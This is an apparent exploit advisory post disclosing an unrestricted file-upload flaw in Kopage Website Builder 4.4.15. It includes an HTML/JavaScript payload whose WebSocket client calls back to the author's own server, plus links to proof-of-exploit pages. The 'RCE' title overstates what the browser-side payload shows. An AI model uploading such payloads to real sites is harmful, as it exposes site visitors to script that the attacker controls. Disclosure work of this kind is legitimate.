## Title: Kopage-Website-Builder-4.4.15-File-Upload-RCE ## Author: nu11secur1ty ## Date: 12/08/2023 ## Vendor: https://www.kopage.com/ ## Software: https://demo.kopage.com/index.php ## Reference: https://portswigger.net/web-security/file-upload, https://portswigger.net/web-security/file-upload/lab-file-upload-remote-code-execution-via-web-shell-upload ## Description: The file upload function suffers from file upload vulnerability, there is no strong sanitizing function for uploading some extension files. In this case, I uploaded an HTML web socket client on their server and then I connected this client with my javascript server =) Depending on the scenario, this can be the end of privacy and even worse than ever! I am a Penetration Tester, not a stupid cracker! Thank you all! STATUS: CRITICAL Vulnerability [+]Exploit client: ```POST <html> <script> (() => { const ws = new WebSocket('ws://0.0.0.0:8080') ws.onopen = () => { console.log('ws opened on browser') ws.send('hello world you are hacked :D') } ws.onmessage = (message) => { console.log(`message received ${message}`) } })() </script> </html> ``` ## Reproduce: [href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/kopage.com/Kopage-Website-Builder-4.4.15) ## Proof and Exploit: [href](https://www.nu11secur1ty.com/2023/12/kopage-website-builder-4415-file-upload.html) ## Time spent: 00:35:00 -- System Administrator - Infrastructure Engineer Penetration Testing Engineer Exploit developer at https://packetstormsecurity.com/ https://cve.mitre.org/index.html https://cxsecurity.com/ and https://www.exploit-db.com/ 0day Exploit DataBase https://0day.today/ home page: https://www.nu11secur1ty.com/ hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E= nu11secur1ty <http://nu11secur1ty.com/>
